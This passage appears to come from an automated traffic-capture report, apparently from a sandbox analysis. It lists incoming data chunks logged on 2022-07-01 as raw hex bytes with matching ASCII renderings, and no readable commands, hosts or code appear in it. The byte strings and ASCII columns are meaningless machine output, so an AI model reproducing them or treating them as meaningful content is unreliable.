2022-07-01 09:01:55 UTC 3147 IN Data Raw: 9a f4 fd 1b c3 62 ed 83 94 dd f8 57 3c a7 a9 2d d8 f1 8d 4f c3 7e 4a 90 53 9c 66 a8 e9 fa 63 db b7 23 19 af 70 
f1 27 84 55 78 08 09 c5 71 73 e8 2b 06 46 30 2b 7a 71 72 33 75 2c ac ca ba 32 14 41 9f c2 b6 2e 67 2b 09 23 a7 b5 57 
b1 b2 c2 8e d5 35 e2 14 87 1f 9d 7b 10 d2 27 9f 2d ce 6a f2 6d d2 10 3b d6 d7 86 1f e6 4c 7a d6 05 e0 c4 99 cf 35 a1 a1 
5c 88 d9 00 3c 93 5e 75 5e a7 44 76 3d 73 c3 e8 0a 1c f6 ab db 94 5c 60 9e f5 8f a0 df 6d b6 e5 b9 ef 8a 5b 8b e2 2e 33 
9e 2b c8 ab 1b b1 a9 59 9d 6d 95 d6 c6 03 d2 b7 23 bc cc 3d 79 fa 57 0b 67 7f b9 c7 bf 7a dc 4b b3 b1 00 3d 4d 7a 38 7d 
88 92 d4 d8 98 f9 91 92 78 ac 1b cd 3c b8 24 0f 73 e9 5b 51 48 19 00 3d 3b d4 b2 c6 bf 67 24 01 5d 7c 8a 5b 91 7b 1e 51 
e2 61 e5 a1 43 d0 67 35 e3 3e 32 b8 60 cf e8 2b dc 3c 67 
Data Ascii: bW<-O~JSfc#p'Uxqs+F0+zqr3u,2A.g+#W5{'-jm;Lz5\<^u^Dv=s\`m[.3+Ym#=yWgzK=Mz8}x<$s[QH=;g$]|[
{QaCg5>2`+<g

2022-07-01 09:01:55 UTC 3202 IN Data Raw: 8c d6 ac 56 bb a3 e7 ee 9e 08 ad 54 49 e6 30 44 7b 1c 93 db 8a 49 24 2a 98 23 93 fe 35 b1 73 68 15 4e 3b 56 
36 a5 95 62 07 51 54 95 84 e5 72 15 90 16 c1 cf a5 5c b5 51 bb 8e c6 b1 dd b6 75 fb d5 a1 61 70 36 f3 51 29 74 1c 57 52 
dd f4 db 1b 8e a7 af 6a ac b3 b6 c3 93 c1 eb 4c b8 71 2f f5 a6 49 85 4c 03 d6 b9 9e a6 87 37 af af 9f 33 e3 9f 7a f3 3d 7f 4f
2f 73 ce 7d ab d6 ae ed f7 ab 86 15 cb 5d 68 de 7d c1 ca 7d 3e 94 95 3d 4a e7 b2 3c e8 69 4c 14 9c 73 55 67 b5 91 1b 
00 64 d7 a5 b6 83 85 c8 1b 87 5a cc ba f0 f1 58 cb 90 30 bd eb aa 34 c9 f6 88 f3 5b 96 78 db 9e 95 bf e1 68 cb 49 bb a6 
6a 2d 67 4f 3f 68 da a9 5a 7e 1e 84 c6 c8 84 f4 a4 e3 d0 da fe ed ce c6 c3 4d f3 3f 78 c3 81 5b fa 5c 2a b7 51 83 ea 29 34 
75 0b 6f 81 e9 e9 5a 1a 6d 9e 66 27 f1 19 ae a5 14 
Data Ascii: VTI0D{I$*#5shN;V6bQTr\Quap6Q)tWRjLq/IL73z=O/s}]h}}>=J<iLsUgdZX04[xhIj-gO?hZ~M?x[\*Q)4uoZmf'

2022-07-01 09:01:55 UTC 3242 IN Data Raw: 25 73 8a 4d 9a ad 72 25 a6 ad c0 8d bd fd 2b 18 de 05 e9 d3 a7 34 bf 6e 1c e5 ea b9 11 9e a7 61 a7 5e e1 86 
38 03 a5 6c ae a0 bb 40 26 b8 8b 2b ff 00 94 00 70 7d 6a dc b7 a7 6e 41 c7 7e 2b 95 c6 cc 9e 56 ce 92 5b d1 b8 90 78 f5 
a8 c4 91 c8 d9 c6 78 ae 3e e7 59 92 26 fb fd 6a f6 91 ab 7d a1 c0 63 e9 cf 4a a5 3e e5 a8 33 b0 b2 d3 45 cb 7c bc 7d 6b 
58 68 18 41 81 cf 7a 4d 03 63 ec 3d 7e 95 da 41 6c af 19 18 00 62 94 57 3e e6 4d 9e 73 7d a5 79 2c 71 d3 3f 85 65 5c 5b 
6c e2 bb ad 7a 14 86 32 38 1e df d6 b9 2f 28 dd dc 79 6b dc ff 00 3a e7 ac 94 0d e9 fb da 1c f5 e5 90 64 cf b5 60 ea 36 
3b 54 f1 d6 bd 6c 78 3e 46 84 9f 2f 39 19 cd 71 be 22 d1 5e c3 21 90 e0 74 ae 58 56 84 f4 4c ee e4 94 16 a8 f3 69 2d 24 
0f 8a 92 3b 7d ab 83 5b 7f 63 de d9 23 a9 ef 4a f6 00 2f 
Data Ascii: %sMr%+4na^8l@&+p}jnA~+V[xx>Y&j}cJ>3E|}kXhAzMc=~AlbW>Ms}y,q?e\[lz28/(yk:d`6;Tlx>F/9q"^!tXVLi-$;}
[c#J/

2022-07-01 09:01:55 UTC 3290 IN Data Raw: bf 96 fc 79 fa 94 f1 af d9 82 af 00 f4 2e 3d 18 13 82 3a 73 9e d5 57 47 b1 9d ad ef 2d 6c ae dd 2e da d5 8d bc 
d9 f9 d6 e6 32 19 d1 81 e3 6b 2e 30 06 30 6b cb 35 df 1b eb f7 97 96 1a 95 b5 b9 b7 78 d2 67 8e de 2d db 67 52 40 2e 3b 
02 19 48 2b d2 af ea de 3a bb 1a 7f 86 26 13 b6 98 35 64 69 2c e4 e4 98 2e a3 6c 79 65 bb ab 1c 83 9e 70 c3 d2 b5 50 
95 c9 72 4c dc 7d 6e da fa c7 4b 7d 6e 05 80 4e 18 47 72 72 1d 0b 2e d7 89 87 38 60 c4 32 9c ff 00 32 2b b6 f0 ce 81 63 
a6 f8 54 4b a6 5e 18 ae ad a5 69 ae 2e 61 ea 37 2e 18 95 39 db 94 2d c0 e8 47 b5 73 37 77 ba 8f fc 25 11 9b ed 1d 6f fc 
39 ae 46 97 1f 6e 0a 52 1b 69 82 ae 47 20 ed 1b c6 d3 8e 87 07 bd 74 be 1f b8 33 e8 f7 92 f9 a2 c2 f6 d6 ef 2f 24 c7 70 
78 87 de 8d 94 72 c7 b6 0f e7 4d d8 cf 7d 8d cd 3a c7 51 
Data Ascii: y.=:sWG-l.2k.00k5xg-gR@.;H+:&5di,.lyepPrL}nK}nNGrr.8`22+cTK^i.a7.9-Gs7w%o9FnRiG t3/$pxrM}:Q

2022-07-01 09:01:55 UTC 3329 IN Data Raw: f9 19 cf 23 d0 1a e1 ad 39 56 4a 9c 16 fd f4 3a 69 52 71 f7 a4 47 f0 df f6 73 f0 de 8b 36 99 ab cf 79 aa eb 3e 
44 7f 66 86 d2 fa 46 44 48 c7 4c 73 8c 81 ec 32 2b db 26 d3 ec e5 b9 8e 0b 0d 2e 28 9e 02 bb ae 14 8c 44 9d 70 47 04 e7 
d7 91 54 3e 21 dc b9 d0 cc 1a 45 c4 76 6c 85 7e 69 03 13 d7 24 04 1c e4 76 cf 15 bd 69 a6 dd ff 00 68 5a 5f 87 5b bb 9f 
b3 2a 8b 6e 23 52 d8 19 60 71 91 f4 35 d9 46 94 69 e8 97 ea 69 29 5d 8d b0 d1 74 fd 4e f2 2d 52 24 6b 27 8b 21 e3 86 
45 68 88 fe 2c a8 c8 c1 ef 9f e9 55 f5 4b fd 26 ee 44 8a 58 ae cc ca c4 5b dc c6 36 32 9c f0 15 86 0f 3d 06 6b a8 4b cb cb 
68 f7 cd 15 bd 9c 91 8d f7 1b 4f 01 41 ea 18 91 db ae 45 79 1f c4 6f 8e 9e 10 d1 61 ba bd 8e ea c7 52 d4 53 e5 8a ca eb 
72 ad c3 06 19 c3 28 27 8c 71 c7 22 ba 25 cb 60 8d ee 
Data Ascii: #9VJ:iRqGs6y>DfFDHLs2+&.(DpGT>!Evl~i$vihZ_[*n#R`q5Fii)]tN-R$k'!Eh,UK&DX[62=kKhOAEyoaRSr('q"%`

2022-07-01 09:01:55 UTC 3567 IN Data Raw: 61 27 d4 df f0 97 83 7c 47 6c 96 5a fe 88 3f b7 2d 2d a5 60 a2 19 95 ee a1 55 18 39 8c 90 cc a4 12 30 39 23 
8a 8b 55 9f 52 5f 13 1d 5f c3 97 16 3e 24 b5 b2 dd be c6 51 ba 48 01 e1 91 a2 70 1c ae 7d 41 c5 53 d1 ef 60 bb ba b2 4b 
2d 6e 2d 35 1e 45 2b 73 e6 b0 36 e4 0c 6e 0c 06 71 ef 8e 9f 4a d0 f1 53 fd b7 c7 16 52 5f 5c c7 3e b1 14 45 4e a5 6f e5 
c2 b3 a8 1c 85 90 02 1d 8a e4 86 3c 93 f4 a6 ee 9e a2 e8 68 5e f8 8b 55 be d0 e4 9e cb 50 99 21 86 04 96 5d 2a 62 d2 
5b a4 67 93 1a ef c9 50 0e 57 69 07 07 d7 8a cb 7b 9d 0b c5 17 da 3c 7e 1e 43 e1 cd 5c b3 4d 74 22 90 46 b3 c8 01 23 
62 f2 11 ca e4 71 80 78 18 ac 4f 16 f8 93 74 97 97 ba 25 e4 d7 76 97 01 60 9e 3b b8 96 39 ce 39 2a c4 70 c3 dc 63 3e 82 
b8 a6 d5 43 dd 09 4d bf d8 2e d0 86 11 c7 d3 68 19 56 1d d4 83 
Data Ascii: a'|GlZ?--`U909#UR__>$QHp}AS`K-n-5E+s6nqJSR_\>ENo<h^UP!]*b[gPWi{<~C\Mt"F#bqxOt%v`;99*pc>C
M.hV

2022-07-01 09:01:55 UTC 3583 IN Data Raw: f0 ba f8 86 ea 5b bd 6a 79 9f 43 d3 95 4c a6 21 87 77 ea b0 46 3f 89 98 8f c0 64 f1 8a d3 d5 35 fb bf 16 6a 8e 
5e 38 a0 8d 62 58 ad ec 22 cf 97 6d 6e bf 76 25 5e b8 ee cd d4 f5 ef 5a 1e 20 f1 76 8f a8 dc d9 e9 5a 2c 57 16 de 1c d2 
10 a4 5c ed 9a f6 52 3e 69 5c ff 00 0b 39 ec 32 55 78 ed 5c dc 3a 9c da 7c 32 cf 64 e2 19 e5 2d e6 dc ed f9 8e 78 da b9 
eb 81 c7 a0 f7 a8 4a fe f3 2e 5a 2b 21 a2 23 a3 43 6d 75 3e 9e 77 5c 33 6d 96 51 88 f0 38 f9 54 1c b7 d7 a6 7b d6 e5 ef 
84 22 78 e5 d5 62 d4 45 b5 b3 c6 a4 19 9c 03 9c 72 aa 01 ea 3d 07 4c f5 ac 3f 0d 6b b6 16 b7 cf 7b ad c7 2e b0 c1 0a c3 
0c 8c 4c 79 ec cd dc a8 ec a3 00 9a db be b9 b7 5b 68 24 7b 72 f0 10 4c 16 7b 4e 70 3d 49 e8 33 cf a9 aa 22 c5 0d 1a c6 
de dd e5 fb 32 35 de a6 47 99 12 83 b5 50 8e 46 f6 e3 
Data Ascii: [jyCL!wF?d5j^8bX"mnv%^Z vZ,W\R>i\92Ux\:|2d-xJ.Z+!#Cmu>w\3mQ8T{"xbEr=L?k{.Ly[h${rL{Np=I3"25GPF

2022-07-01 09:01:55 UTC 3615 IN Data Raw: 14 52 aa f3 fb 99 d9 48 f5 ca 9c 8a a4 7c 41 76 66 f2 a4 b8 5b 74 cf cf 0b 44 c0 e0 fa 11 c0 aa 5a a6 95 6f a9 
4c 65 12 28 98 11 fb d5 64 73 8f f7 5b 9a de 52 b6 c7 3c 62 fa 9d 2e 9b fe 99 6f 23 ec 38 da 5d 77 70 7f 02 3b fe 34 db 98 
96 e2 37 8a eb 74 91 1e 0c 6d fd 09 ff 00 1a c9 b5 d5 2e f4 a8 bc 87 45 9d 14 00 b2 2c 4c a4 03 eb c9 1f ad 6b 5a 6a 31 
5e 46 8c 54 12 4e 1b 83 b8 7e 1d 6b 86 53 91 d0 a2 8a 63 c3 f2 5b ba cd a6 c8 a5 47 fc b1 9b 8e 3d 03 0e 7f 3c d6 e5 85 
99 da 44 f6 8b 1e 79 25 64 e7 3f a5 25 bf 9c 59 31 13 18 7b 6d 27 3f 5e 6b 45 6c f3 f7 6e 1b 38 e6 39 31 fd 31 58 b9 37 
b9 a5 ac 66 dd 69 1e 5b 79 f6 92 cb 03 1e a3 1b c1 ff 00 eb 55 77 be bd 81 3c a9 13 7c 7c ff 00 a4 43 c8 1f 55 3c d7 40 f6 
71 5c bc 6b 2a 30 00 71 b4 95 3f a1 ab 92 59 a3 
Data Ascii: RH|Avf[tDZoLe(ds[R<b.o#8]wp;47tm.E,LkZj1^FTN~kSc[G=<Dy%d?%Y1{m'?^kEln8911X7fi[yUw<||CU<@
q\k*0q?Y

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 3639 IN Data Raw: 37 2a 1d d4 7d e3 6f 8d df 5c 1e d4 c6 be 3a 8f 0e 5a ca ee 3e 18 81 b5 c1 ed c7 46 53 4b 02 cd ca 4d 2c 62 
5c 9c 18 f3 83 ef b7 aa 9f a7 15 bb 30 47 99 f8 87 4b d2 7c b3 34 93 89 ed 24 72 24 8e e6 dc ba c4 c7 a1 25 48 28 7d ff 
00 5a f2 1f 88 be 1c d2 d3 37 13 6b da 3d b5 a2 80 c9 6b b5 ae 65 6f 5c ee 62 71 ec 6b dc 3c 7d e0 2b eb d9 3f b4 74 ad 
41 ec 2f a3 04 b0 51 98 a7 07 aa ba e3 07 23 bd 79 76 b9 75 e1 cb 3b 09 53 c4 3e 0b 93 4f bc 65 64 12 da 5a f9 e8 ef 8f 
be 0a 11 81 df 15 11 76 35 dc f0 cb bf 16 0f b4 3d 86 8b a6 69 97 3d c5 d4 7a 56 c3 c7 b0 20 0f a9 a7 36 af 3f 8a a1 4b 6d 
7a f6 5b 3b eb 50 c6 19 6e 20 53 6f 83 d8 90 41 5f 6c 64 7b 0a f4 ff 00 0c 5b 27 88 b4 e1 61 e1 eb 2b 18 e1 8c 9f 36 d1 
a6 92 de e9 81 fe 35 24 f3 f4 e4 7b d6 46 b9 fb 3f 5d 
Data Ascii: 7*}o\:Z>FSKM,b\0GK|4$r$%H(}Z7k=keo\bqk<}+?tA/Q#yvu;S>OedZv5=i=zV 6?Kmz[;Pn SoA_ld{['a+65${F?]

2022-07-01 09:01:55 UTC 3663 IN Data Raw: 18 23 03 ab 00 54 7e 78 aa 49 e2 8d 3a d9 cc 50 16 bd 98 75 2b 85 03 f2 a4 dd 82 c7 4d 25 cc 50 c6 5d df 38 
f6 c6 7e 82 b3 22 d5 6e 2e d5 c5 bd b4 96 d1 e7 01 a6 01 4b 7b 85 eb 8f ad 64 dc 78 c2 4b 7c 99 2c ce d0 38 2a 32 4f b0 
cf f3 c0 15 5e d6 ff 00 5f d7 91 e4 85 22 d2 ad cf 02 46 c3 3e 3f 0e 07 e1 9a 35 0b 1a f3 79 56 ad e6 5f 4f b0 67 39 23 07 
f0 ef 55 0f 88 96 f5 76 69 b1 4a 91 29 19 98 01 93 ed 8e 4f 3f 9d 60 ff 00 66 e8 5a 6d cb bd f5 ec da cd e9 39 65 f3 19 c1 
3e e3 3d 07 b9 02 b0 fc 47 f1 bf 49 d2 5e 4b 3b 48 d4 49 1a e7 ca 88 ae 62 51 d5 9c f4 45 1e a4 e7 d8 d2 4f 4d 74 2a dd 
8e 9f 55 b6 6d 46 33 1d fc 86 df 79 0c ab 21 0c c4 7a 85 1d 3f 1c d7 98 78 bf e3 67 87 3e 1e 4d 26 9f 61 e6 eb 3a 9c 0a 
54 5b da c7 90 8c 4f 46 6e 4e 7d 85 79 bf 8a 7e 3f 
Data Ascii: #T~xI:Pu+M%P]8~"n.K{dxK|,8*2O^_"F>?5yV_Og9#UviJ)O?`fZm9e>=GI^K;HIbQEOMt*UmF3y!z?xg>M&a:T
[OFnN}y~?

2022-07-01 09:01:55 UTC 3695 IN Data Raw: ed b4 91 88 8f 2c 00 e4 fa 8a eb 92 ed 7c 3b aa 47 79 69 26 62 83 98 fc c5 c8 3c 7d d6 07 86 5c f6 3d 6a a5 
84 d1 d9 c3 3a 49 18 0f 14 a0 1e 99 5c e4 d6 a7 8d 22 84 c3 01 4f 2c a3 db 23 80 bd 01 3f 7b a7 a9 af 33 d8 3a 69 4a fb 
9d aa b7 33 b2 32 ad 35 c0 f7 db cc 9b 03 9c 92 bc 0e 6b d4 3c 01 ac 88 ae 59 20 f3 37 b0 f9 a5 f3 56 30 71 f5 c9 3e dc 
8a f0 f8 e2 68 a1 8e 68 c2 ed dd 82 33 ce 41 f4 af 4c f0 64 d6 d7 31 c6 24 12 c9 21 61 98 d5 73 81 ed 82 2b 9e 7a a3 a6 
9b ee 7d 3d e1 bd 7a 4b a9 23 89 23 8a f2 e3 66 0b 4a c7 cb 03 ea 49 2f f9 01 5e 9f a3 43 a8 08 c3 49 71 11 19 e9 1c 44 
2e 3d b1 cd 79 17 84 e7 8a 24 8c 45 7b e5 ca aa a0 c2 6d 56 27 00 77 c9 c9 3f ad 7a 86 86 2f e4 fd e2 eb f3 5c e4 64 5b 
61 50 01 ff 00 7c d7 5d 15 ee ee 72 d6 d6 56 3a 91 70 ae 
Data Ascii: ,|;Gyi&b<}\=j:I\"O,#?{3:iJ325k<Y 7V0q>hh3ALd1$!as+z}=zK##fJI/^CIqD.=y$E{mV'w?z/\d[aP|]rV:p

2022-07-01 09:01:55 UTC 3719 IN Data Raw: 38 fe ef b9 a7 71 1b 7a 47 88 f5 00 f1 3a 34 87 f8 b6 ec 12 02 47 a8 03 35 ed 3f 0f 3e 2e 6a 17 57 e1 25 b0 5b 
86 d8 51 59 43 07 00 1c 9e 08 e3 15 e1 de 1d d1 b5 19 75 4b 4b bb 18 f6 49 13 ae c0 c3 86 20 e4 67 b1 15 e8 7a 4f 84 
bc 61 a9 6b 53 df ad 94 ba 5c b2 33 3b 5c db cb e5 44 a4 fd ec 10 72 01 f6 06 8b df 41 1f 4b 69 fe 2f 47 48 e5 b5 96 c5 e6
7e 1a 19 59 4c 80 f7 c1 2c 09 cf e7 5d 36 9b 73 aa dd 4c 12 78 a1 60 c0 14 63 b4 05 f5 f5 35 f3 b7 86 fc 27 ae de 49 e6 
a7 88 da f2 20 cd 1c 85 ac 7e d7 b7 1d 83 32 80 7e a2 bd 9f c2 fa 6e a1 1d b2 45 07 95 be 1c a9 6d 40 3c 6c 70 3a aa a9 
20 03 ed 57 1b 5b 42 59 dc 8b 38 a4 52 b2 c8 b1 8e e2 20 4e 7f 40 2a 38 7c 09 a2 4e de 60 b6 96 59 9b a9 51 d7 3e a4 
e6 a7 d3 6d 9a 0b 68 de 59 cb ce f8 25 56 57 64 07 d0 64 
Data Ascii: 8qzG:4G5?>.jW%[QYCuKKI gzOakS\3;\DrAKi/GH~YL,]6sLx`c5'I ~2~nEm@<lp: W[BY8R N@*8|N`YQ>mhY
%VWdd

2022-07-01 09:01:55 UTC 3758 IN Data Raw: 4a d7 d4 d6 1a a3 b9 8e fa de 5d 2c 9d 4a f1 a0 b1 8d db 99 76 86 7c 76 50 39 23 be 6b 86 f1 45 cc 1a 84 91 
43 a1 5d db 5b 42 db 49 56 63 e6 33 7a f2 3f 4c d2 db 68 11 4d 99 d6 7c 38 3b 81 79 b0 de 98 04 f6 ab 97 96 f2 69 f1 86 
09 11 84 a8 1b e4 88 e5 bd f2 07 f4 a8 56 4c ce 57 21 d3 2c 65 d3 53 cd 96 f0 6a 0c 06 5a 28 e5 c7 3d cf 53 59 37 9e 33 
9f cc 36 56 d6 66 de 36 62 5f 6c 6c 17 8f 73 81 f8 e0 d4 ea ba 94 09 23 5b ea f0 d9 db 81 bc 47 8c e4 fa 72 a0 8e 2b 3f 53 
9e f2 e6 de 35 37 71 48 25 e4 66 32 ae 71 fd d3 83 91 5a 6e 41 bd a5 5c 9d 51 7c d6 83 ec c7 a1 94 2e 72 3d 8f 5f d2 ba 
2d 37 41 b5 89 0d ca db 47 2c e1 b8 96 eb 73 16 3f 43 c7 e5 5c 1f 86 74 4b f8 35 0c bd c4 28 e7 18 53 38 77 e0 f1 85 1d 
2b b9 b3 bc 91 b5 84 37 1a 65 f4 89 10 39 b8 b9 9b e4 
Data Ascii: J],Jv|vP9#kEC][BIVc3z?LhM|8;yiVLW!,eSjZ(=SY736Vf6b_lls#[Gr+?S57qH%f2qZnA\Q|.r=_-7AG,s?C\
tK5(S8w+7e9

2022-07-01 09:01:55 UTC 3814 IN Data Raw: d3 bc 4b e1 f4 48 1e e0 6b f6 6a 3e 51 6f 36 65 88 7f b2 0f cd 8f 62 08 35 13 eb da a5 92 ef 86 f2 3b ab 6c e1 
ad af e2 2a c8 c7 aa b2 90 76 fd 47 1e f5 ed 9e 23 d0 bc 1f ae 29 96 c8 0d cd 86 7f b0 cc b3 20 cf 39 f2 c9 c8 fc 08 3e d5 
c5 6a 7e 00 d4 05 b7 99 a0 6b f6 fa a1 00 ff 00 c4 af 50 20 4a 57 b8 50 e3 3f 81 fc eb 29 53 94 76 34 8c d7 53 8e 83 5f d3 
e4 99 5e ff 00 43 96 c1 c7 3f 68 b3 93 2b f5 00 e4 7e 44 57 5b a7 eb 1f 69 8d 4d bd e8 9d 17 ee c7 77 80 7f 3f f0 35 c1 5f 
c7 36 95 78 23 d4 b4 7b 9d 0e 7c e3 00 32 29 3d c8 07 2a 47 d0 8a de b2 d6 21 36 ee 23 89 6e 11 17 2e 3c ad bc 77 60 
07 23 1d c8 cf d2 a2 2f b9 a6 fb 1e 9b 65 e2 2b 4b a9 a2 83 50 8d ac 27 23 02 5c 65 39 e9 86 e8 47 a6 6b b3 d1 f4 a4 b7 
de e2 48 9d 58 02 30 a5 32 3e 9c 83 f8 57 05 f0 
Data Ascii: KHkj>Qo6eb5;l*vG#) 9>j~kP JWP?)Sv4S_^C?h+~DW[iMw?5_6x#{|2)=*G!6#n.<w`#/e+KP'#\e9GkHX02>W

2022-07-01 09:01:55 UTC 3878 IN Data Raw: 83 12 9e bc 37 ca 47 20 81 91 f8 d0 f6 d0 a4 7a f7 c3 9d 4b 54 d5 b5 61 a5 4b a9 b5 e1 89 b6 8b 5b 58 8d d6 
31 c9 cb 1c 22 01 ee 4f d2 be 91 d1 be c5 a0 5a 80 d2 cb 71 78 d8 c4 70 aa 16 c7 a6 14 00 3f 5a f9 d3 49 d3 53 4a 51 6d 
ab 78 86 2d 02 2b b6 dd fd 8d a2 c6 5e e6 6c f2 77 b0 e4 7b f2 00 af 70 f0 1d ae 8f 35 cc 51 d8 41 7f 2c 31 8f f5 b2 46 ab 
11 c7 f7 9c e5 9c e7 d0 e2 b4 a7 3b 3b 18 56 89 d0 3e a1 73 ab c9 e5 2e 81 72 e8 49 57 96 e6 65 8d 55 4f 04 9e 72 78 
ec 01 a6 e9 5e 1e b0 d1 b3 6c 87 fb 3e d3 25 b1 1e 59 e5 50 7a ee 3f 74 67 b7 5a e9 56 58 e1 59 44 5f 3a 20 24 f9 20 7c 
be a7 3e b5 93 7f 62 fa ae 93 20 88 c7 01 73 b9 63 90 93 95 cf 39 c7 3c d6 92 ee 61 1e dd 0e 72 ff 00 c4 5a 2b 6a c6 c7 
4c 8a 42 ea e2 27 ba 98 b3 ae e3 d9 47 43 f5 e9 5a c7 44 
Data Ascii: 7G zKTaK[X1"OZqxp?ZISJQmx-+^lw{p5QA,1F;;V>s.rIWeUOrx^l>%YPz?tgZVXYD_: $ |>b sc9<arZ+jLB'GCZD

2022-07-01 09:01:55 UTC 3917 IN Data Raw: 40 c0 c9 24 fe 95 3d 86 b7 a1 e9 90 c8 01 9a 4f 35 03 5c 48 58 09 25 6c 72 03 75 0b fe cf 1f 8d 66 5a 3b ff 00 
06 68 31 f8 6e de de ee ee 4f 32 f0 8c c5 69 14 98 45 62 3e 66 91 86 4b 1c 75 c7 41 c6 79 c1 f5 af 08 78 9b 50 bb 98 2b 
df 9b 0b 23 b9 16 ed 94 2c d3 e3 ef 24 4b fc 11 8e d8 19 f7 eb 8f 08 f0 f7 8a 9f c4 d0 cb 6b a5 e9 c6 3d 59 a4 8e 1b 2d c3 
31 08 cf 2c 59 8f 42 0e 08 00 1c f5 e7 8a f7 4f 87 d7 3a 66 8a 7f b2 a0 32 f8 87 c4 d2 02 d7 17 8d 1f ee e1 20 e3 cb 45 3d 
00 39 e4 f1 9e 6b 9f de d7 53 6d 1a d8 f5 8d 06 65 78 60 4d 3e da 69 f6 8e 66 91 48 c2 fa ee 38 e4 fe be b5 d1 45 61 2a 
bc d7 1b 22 b3 8d c2 ef f3 24 66 e0 0e a5 46 01 35 43 4a fb 6c 1a 7c 71 31 12 dd b9 3d 0e 54 67 b0 27 93 8e e7 1f 95 74 
56 36 b1 ee 0b 2b ef 91 46 5f be 5c 8e 7f 2a ea 
Data Ascii: @$=O5\HX%lrufZ;h1nO2iEb>fKuAyxP+#,$Kk=Y-1,YBO:f2 E=9kSmex`M>ifH8Ea*"$fF5CJl|q1=Tg'tV6+F_\*

2022-07-01 09:01:55 UTC 3973 IN Data Raw: a3 86 de 19 a1 b7 22 71 1e 1c 1c 6e fe 1a cf d3 5e 2b c9 2e 37 ba 86 66 65 90 01 9d b9 e8 0f a7 15 b3 a5 68 
b1 5c 5f 08 c1 1e 4a a1 da c3 93 d2 b3 9c f9 6e 5c 56 86 ae a1 67 0c b2 40 2d a7 fd cb 37 ce c3 83 8a 4d 3a ce 3d 2a ff 
00 c9 89 c7 20 4a 33 c9 18 3d fe b5 97 7b a7 36 9d 73 05 b3 c8 62 0c 4b 96 3d 80 e4 54 d6 d6 ab 69 72 f3 bb f9 89 20 e2 
4e bd fb d6 5c da 1b 58 b3 79 75 7c 3c 42 96 d7 00 18 6e c8 04 c7 d8 74 00 d2 78 a6 65 d3 1a 5d 2e 0c be 54 90 47 6e 
29 da e8 5b 48 45 ca 4b fe 92 36 90 0f 38 ac 99 ee 0d e4 70 4f 21 67 99 9d 55 a4 f6 35 a4 65 b0 9a 33 2c 0d ed a2 c4 1e 
e3 2e 11 9b 04 e7 68 ed c5 56 d2 ec 75 cb 5b 1b 99 67 c3 e9 f3 bf ce a4 f2 c4 9e 3f 3a dc ff 00 84 66 38 2e af 27 ba 91 bf 
7a 80 45 f4 eb 9a e4 2d bc 45 a9 c9 79 2c 11 cf e6 c2 92 
Data Ascii: "qn^+.7feh\_Jn\Vg@-7M:=* J3={6sbK=Tir N\Xyu|<Bntxe].TGn)[HEK68pO!gU5e3,.hVu[g?:f8.'zE-Ey,

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 4028 IN Data Raw: e6 03 0d 2c 9f 2c 11 7d 71 d4 fb 73 56 ed b4 d9 d2 df 37 f7 a6 79 cf 2d 21 f9 51 47 a2 a8 fe b5 1c ba b7 94 9e 
55 aa 79 51 e3 89 24 5c 7e 38 f5 ae 7f 59 d5 26 08 e4 4e a6 34 cb bc 92 1c 2a ff 00 f5 e8 e6 51 2d 45 c8 d5 be d4 74 fd 
29 9e 68 df 32 7f 14 a4 65 89 f6 cf 41 58 d0 dd dd 6a bb e5 b6 88 a2 b1 e6 69 38 fd 4d 67 5a 35 c6 a5 71 1b 0b 70 f2 63 
86 91 79 c1 ee 17 d3 dc d7 49 0e 97 71 70 88 9e 61 dd 9f 99 bb 0f 60 05 42 93 97 a1 4e 2a 28 ab 0d a4 56 97 21 de 56 
d4 2e fa e1 7e e0 ff 00 3e b5 af 6d 6f 3c ab fb d9 36 6f e4 44 0f 1f 8f ad 3e 3b 38 2c 11 d9 48 77 00 e3 27 e5 cf d0 55 7f ed
27 08 76 90 58 70 65 3d cf 70 3d 6b 54 d4 77 33 e5 72 d8 d1 30 45 6a c8 bc dc 4d dd 7f 85 7e b5 21 9c b2 e5 c9 6c 7f 08 
1c 2f ff 00 5e b2 db 56 dc be 54 68 49 23 38 1d ff 
Data Ascii: ,,}qsV7y-!QGUyQ$\~8Y&N4*Q-Et)h2eAXji8MgZ5qpcyIqpa`BN*(V!V.~>mo<6oD>;8,Hw'U'vXpe=p=kTw3r0
EjM~!l/^VThI#8

2022-07-01 09:01:55 UTC 4076 IN Data Raw: ad c6 9d a6 8f 38 f9 ac c4 14 45 1f 77 db e9 4f b7 d7 24 d3 74 db 05 77 ff 00 4a 74 3b db 3c 81 d4 f0 2a dc 73 
c7 77 0d c3 b9 26 32 ca 0a ff 00 11 c7 5c 7a 66 b9 bd 57 4e 92 1b bb 99 d5 1a 42 f1 95 8a 31 ce d5 03 b9 f5 a9 56 6a cc 
d5 f7 47 63 a6 cd 26 a1 a5 8b b7 e6 dc 8c 37 d0 56 7c 71 41 2d b4 92 c0 ea e8 4b 2e 7a 92 41 ff 00 eb d4 16 3a 8a c1 a5 
48 91 3a 88 52 3d 8a b9 e0 1c 73 91 5c cf 88 ef ef 34 dd 16 dd ed 51 8e e4 0c cb 1a 8e 09 3c 92 7e b5 36 bb b2 1d ec 6e 
78 82 1b 8d 26 38 d8 03 e7 4a c7 00 1c 60 91 8a 65 9e a9 6d a5 b3 81 01 90 db 22 ec 38 24 17 e8 d8 fc 4d 33 c3 31 9b 
8d 0e 5d 4f 5d b8 69 26 84 34 91 c4 7d 7f 87 f0 a7 69 9a c8 d3 a1 5b 39 91 43 4b f3 2b 75 ce e1 9c 7b 50 dd 95 81 6e 57 
d0 cc fa ad f5 cb dc dc f9 90 28 32 24 79 ce 30 3a 7e 06 
Data Ascii: 8EwO$twJt;<*sw&2\zfWNB1VjGc&7V|qA-K.zA:H:R=s\4Q<~6nx&8J`em"8$M31]O]i&4}i[9CK+u{PnW(2$y0:~

2022-07-01 09:01:55 UTC 4092 IN Data Raw: 37 ff 00 5e 91 ae fc f6 92 77 75 8a d9 49 df 27 4e 9d 87 b9 ff 00 13 59 e9 7d 0e e6 8a dd 18 db 2b 7e f2 4f f9 
69 3c 83 eb d5 47 e5 54 6e 75 28 7e d3 1f 9a 32 a8 49 5b 45 39 dc dd b7 62 b4 6e db 11 6d 4e 9e 19 63 8e da 2b a9 30 
1e 6f f5 31 e3 00 2f ae 3d 4f ff 00 5e b2 75 39 d4 29 37 0e 77 75 63 e8 0d 0c 64 b5 4f b7 5e 9d f7 ae 01 8a dc 73 e5 2f 6c 
